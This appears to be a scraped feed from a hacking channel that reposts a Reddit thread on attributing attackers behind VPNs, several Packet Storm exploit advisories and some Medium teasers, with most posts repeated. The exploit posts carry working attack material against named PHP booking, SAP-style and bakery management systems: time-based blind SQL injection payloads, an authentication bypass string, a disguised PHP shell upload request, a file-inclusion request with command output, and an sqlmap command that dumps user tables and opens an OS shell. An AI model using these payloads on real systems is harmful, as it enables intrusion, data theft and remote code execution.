hacking: security in practice
In a defensive scenario. How do you detect attackers who use VPN?
How are hackers who use VPN detected
This question is open to different steps and techniques, let’s exchange knowledge.
There are a few ways I work in defensive scenarios
I frequently see repeated code fragments in different attacks that would be difficult to forge if the original source code was not available.
The same technical techniques are employed. On Windows, for example, there are numerous ways to start a program automatically. The method used by a specific attacker group is frequently unique to them.
IP addresses and domains are being reused across attacks. Sometimes the domains and IPs aren't the same, but something about how they're registered or served tells us they're related.
When the attacker forgets to use the VPN, we see their true IP address. It's uncommon but extremely valuable.
Frequently, the victim has only a few capable adversaries. There is no reason for Russia, China, or Israel to hack Sony. There are only a few obvious suspects in an attack on an Iranian nuclear facility. Nobody but China would be interested in hacking Chinese dissidents.
We track these things over time so that we can connect information from various attacks.
Attribution is not a precise science. We don't always know what to do. Sometimes attackers impersonate each other, and we probably fall for it from time to time. Other times, however, we can tell which group we're looking at.
I have always believed to be an excellent hacker u have to be an excellent defender.
So in a defensive scenario how do you personally detected hackers who use vpn?
submitted by /u/Simonvilla1
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
In a defensive scenario. How do you detect attackers who use VPN?
How are hackers who use VPN detected
This question is open to different steps and techniques, let’s exchange knowledge.
There are a few ways I work in defensive scenarios
I frequently see repeated code fragments in different attacks that would be difficult to forge if the original source code was not available.
The same technical techniques are employed. On Windows, for example, there are numerous ways to start a program automatically. The method used by a specific attacker group is frequently unique to them.
IP addresses and domains are being reused across attacks. Sometimes the domains and IPs aren't the same, but something about how they're registered or served tells us they're related.
When the attacker forgets to use the VPN, we see their true IP address. It's uncommon but extremely valuable.
Frequently, the victim has only a few capable adversaries. There is no reason for Russia, China, or Israel to hack Sony. There are only a few obvious suspects in an attack on an Iranian nuclear facility. Nobody but China would be interested in hacking Chinese dissidents.
We track these things over time so that we can connect information from various attacks.
Attribution is not a precise science. We don't always know what to do. Sometimes attackers impersonate each other, and we probably fall for it from time to time. Other times, however, we can tell which group we're looking at.
I have always believed to be an excellent hacker u have to be an excellent defender.
So in a defensive scenario how do you personally detected hackers who use vpn?
submitted by /u/Simonvilla1
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
In a defensive scenario. How do you detect attackers who use VPN?
How are hackers who use VPN detected This question is open to different steps and techniques, let’s exchange knowledge. There are a few ways I...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Online Sports Complex Booking System 1.0 SQL Injection
https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability in Users.php. This is a similar issue as the one discovered by Saud Alenazi in March of 2022 but affects a different file.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Online Sports Complex Booking System 1.0 SQL Injection
https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability in Users.php. This is a similar issue as the one discovered by Saud Alenazi in March of 2022 but affects a different file.
MD5 |
948b8cee734bbd6b25d4c6d4da656881Download
#### Title: Online Sports Complex Booking System 1.0 SQL Injection
#### Author: Zllggggg
#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
#### Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md
#### Tested on: Windows, MySQL, Apache
After entering the background, click the registered clients navigation, select a piece of data and click delete
[image: 1648884355.jpg]
Find the corresponding source code and find that the ID parameter passed by
post does not have any filtering
[image: 1648884613.jpg]
The vulnerability is also verified in sqlmap
[image: 1648884408.jpg]
Data packet
```
POST /scbs/classes/Users.php?f=delete_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=clients
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
id=2
```
Payload
```
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND
'aPSM'='aPSM
---
```
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Online Sports Complex Booking System 1.0 SQL Injection
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
SAP Information System 1.0 Shell Upload
https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
SAP Information System version 1.0 suffers from a remote shell upload vulnerability.
MD5 |
Download
# Title: SAP Information System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 05.04.2022
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files
```
```
[+] Payload POST
```
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964
Content-Length: 1343
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9
-----------------------------3440160751499277351272200964
Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"
Content-Type: image/jpg
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
SAP Information System 1.0 Shell Upload
https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
SAP Information System version 1.0 suffers from a remote shell upload vulnerability.
MD5 |
445bda3eaf07300e9f784c783c0ebdbaDownload
# Title: SAP Information System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 05.04.2022
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files
```
```
[+] Payload POST
```
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964
Content-Length: 1343
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9
-----------------------------3440160751499277351272200964
Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"
Content-Type: image/jpg
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
SAP Information System 1.0 Shell Upload
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Bakery Shop Management System 1.0 Local File Inclusion
https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Bakery Shop Management System version 1.0 suffers from a local file inclusion vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Bakery Shop Management System 1.0 Local File Inclusion
https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Bakery Shop Management System version 1.0 suffers from a local file inclusion vulnerability.
MD5 |
406bbd551d30b93c453d0bbc92d5f4d1Download
# Title: Bakery Shop Management System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once
```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
header("Location:./");
exit;
}
```
[+] Payload GET
```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL
#Response
```
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA
Directory of C:\xampp\htdocs\bsms
04/06/2022 04:18 AM .
04/06/2022 05:05 AM ..
02/14/2022 10:39 AM 16,358 Actions.php
08/04/2021 11:04 PM css
02/14/2022 11:55 AM database
09/09/2021 11:54 AM DataTables
02/14/2022 11:55 AM 865 DBConnection.php
08/05/2021 03:09 AM Font-Awesome-master
02/14/2022 12:00 PM 10,407 home.php
02/14/2022 11:07 AM images
02/14/2022 02:26 PM 10,018 index.php
09/11/2021 11:40 AM js
02/14/2022 11:11 AM 4,372 login.php
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Bakery Shop Management System 1.0 Local File Inclusion
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Bakery Shop Management System 1.0 SQL Injection
https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Bakery Shop Management System 1.0 SQL Injection
https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.
MD5 |
7563ba7c628bb1afba90da4c600c5295Download
# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/bsms/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php
---
```
$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";
$qry = $conn->query($sql);
while($row = $qry->fetch_assoc()):
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_in = $stock_in > 0 ? $stock_in : 0;
$stock_out = $stock_out > 0 ? $stock_out : 0;
$qty = $stock_in-$stock_out;
$qty = $qty > 0 ? $qty : 0;
?>
```
---
#Status: CRITICAL
[+] Payload POST
---
POST /bsms/Actions.php?a=login HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: http://0day.gov
Connection: close
Referer: https://0day.gov/bsms/login.php
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
username=admin'or+1%3D1+or+''%3D'&password=hejap
---
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap
---
#Blind SQLi Time to Rce
#ُExploit
sqlmap -r hejap_0day --dbs --time-sec=10 --threads=10 -D bsms_db -T user_list --dump --eta --technique=t --os-shell
# Description:
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.
# Proof and Exploit:
https://i.imgur.com/zR6Mekg.png
https://i.imgur.com/RQ1JXeK.png
https://i.imgur.com/0x9gepw.png
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Bakery Shop Management System 1.0 SQL Injection
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
How i got access to 1600k Users PII Data $$$$
Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium »
Read more...
Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium »
Read more...
How i got access to 1600k Users PII Data $$$$
https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5
Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium » (https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5
Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium » (https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
Medium
How i got access to 1600k Users PII Data $$$$
Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…
Hacking on Medium
Solidity Hacking: Re-Entrancy
https://cdn-images-1.medium.com/max/600/1*f5dbaUgs-68SYjGBiLbwKg.png
A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Solidity Hacking: Re-Entrancy
https://cdn-images-1.medium.com/max/600/1*f5dbaUgs-68SYjGBiLbwKg.png
A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Solidity Hacking: Re-Entrancy
A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.
Hacking on Medium
The infosec/cybersec industry sucks
https://cdn-images-1.medium.com/max/1630/1*a5G0rS8Fii5D0tPmm-tfSQ.jpeg
I haven’t been writing that much lately. The whole reason for this blog was for some sort of portfolio, but after seeing how shitty the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
The infosec/cybersec industry sucks
https://cdn-images-1.medium.com/max/1630/1*a5G0rS8Fii5D0tPmm-tfSQ.jpeg
I haven’t been writing that much lately. The whole reason for this blog was for some sort of portfolio, but after seeing how shitty the…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
The infosec/cybersec industry sucks
I haven’t been writing that much lately. The whole reason for this blog was for some sort of portfolio, but after seeing how shitty the…
Hacking on Medium
Solidity Hacking 101: A starting point for solidity hacking
https://cdn-images-1.medium.com/max/1280/1*zKMCzRTjmE2KIL5jXmI8LQ.jpeg
Learn how to Install and Use Solidity
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Solidity Hacking 101: A starting point for solidity hacking
https://cdn-images-1.medium.com/max/1280/1*zKMCzRTjmE2KIL5jXmI8LQ.jpeg
Learn how to Install and Use Solidity
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Solidity Hacking 101: A Starting Point for Solidity Hacking
Learn how to Install and Use Solidity
Hacking on Medium
Pokémon-themed finance.
https://cdn-images-1.medium.com/max/1237/1*Wlu4ynM765QryXZ_Sw06Gw.png
Before you disregard Axie hack as loose procedures of a Pokémon-themed management, know that human error is a familiar theme of finance.
Continue reading on thatMeaning »
___________________________
@hacking_Attack
@Hacking_Video
Pokémon-themed finance.
https://cdn-images-1.medium.com/max/1237/1*Wlu4ynM765QryXZ_Sw06Gw.png
Before you disregard Axie hack as loose procedures of a Pokémon-themed management, know that human error is a familiar theme of finance.
Continue reading on thatMeaning »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Pokémon-themed finance.
Before you disregard Axie hack as loose procedures of a Pokémon-themed management, know that human error is a familiar theme of finance.
Hacking on Medium
How to confirm cyberattack through investigation.
https://cdn-images-1.medium.com/max/600/0*FMsNpcEYdAZ-w72B
NVIDIA, the computer behemoth famed for its high-end GPUs, has reportedly been hacked. The company partially verified the occurrence when…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
How to confirm cyberattack through investigation.
https://cdn-images-1.medium.com/max/600/0*FMsNpcEYdAZ-w72B
NVIDIA, the computer behemoth famed for its high-end GPUs, has reportedly been hacked. The company partially verified the occurrence when…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
How to confirm cyberattack through investigation.
NVIDIA, the computer behemoth famed for its high-end GPUs, has reportedly been hacked. The company partially verified the occurrence when…